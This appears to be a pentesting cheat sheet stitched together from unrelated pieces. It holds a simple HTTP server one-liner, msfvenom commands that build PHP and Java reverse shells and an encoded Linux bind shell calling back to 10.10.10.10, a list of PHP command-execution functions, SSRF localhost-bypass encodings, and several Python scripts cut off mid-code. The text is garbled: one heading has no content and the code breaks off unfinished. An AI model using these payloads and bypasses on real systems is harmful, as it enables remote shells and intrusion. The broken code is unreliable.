saraiva

Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.

Discussion on reddit.

Python 2.x

$ python -m SimpleHTTPServer 8000

PHP reverse shell

msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f raw -o shell.php

Java WAR reverse shell

msfvenom -p java/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f war -o shell.war

Linux bind shell

msfvenom -p linux/x86/shell_bind_tcp LPORT=4443 -f c -b "\x00\x0a\x0d\x20" -e x86/shikata_ga_nai

Linux FreeBSD reverse shell

Command Execution

exec           - Returns last line of commands output
passthru       - Passes commands output directly to the browser
system         - Passes commands output directly to the browser and returns last line
shell_exec     - Returns commands output
\`\` (backticks) - Same as shell_exec()
popen          - Opens read or write pipe to process of a command
proc_open      - Similar to popen() but greater degree of control
pcntl_exec - Executes a program

	# SSRF localhost (@omespino)

	http://127.0.0.1
	http://[::]/ # ipv6
	http://0/
	http://localtest.me # dns to 127.0.0.1
	http://2130706433/ # decimal
	http://0x7f000001/ # hex
	http://0x7f.0x00.0x00.0x01 # hex
	http://0177.0.0.01 # octal

	import SimpleHTTPServer
	import SocketServer

	PORT = 8000

	class ServerHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):

	def do_POST(self):
	content_len = int(self.headers.getheader('content-length', 0))
	post_body = self.rfile.read(content_len)

	"""
	You can run this in the following format:
	For decimal: python3 ip2dh.py D <Ip-address>
	For Hexadecimal: python3 ip2dh.py H <Ip-address>
	"""
	#!/usr/bin/python3

	import sys

	if len(sys.argv) < 3:

	#!/usr/bin/env python2

	import SimpleHTTPServer
	import SocketServer
	import logging

	PORT = 8000

	class GetHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):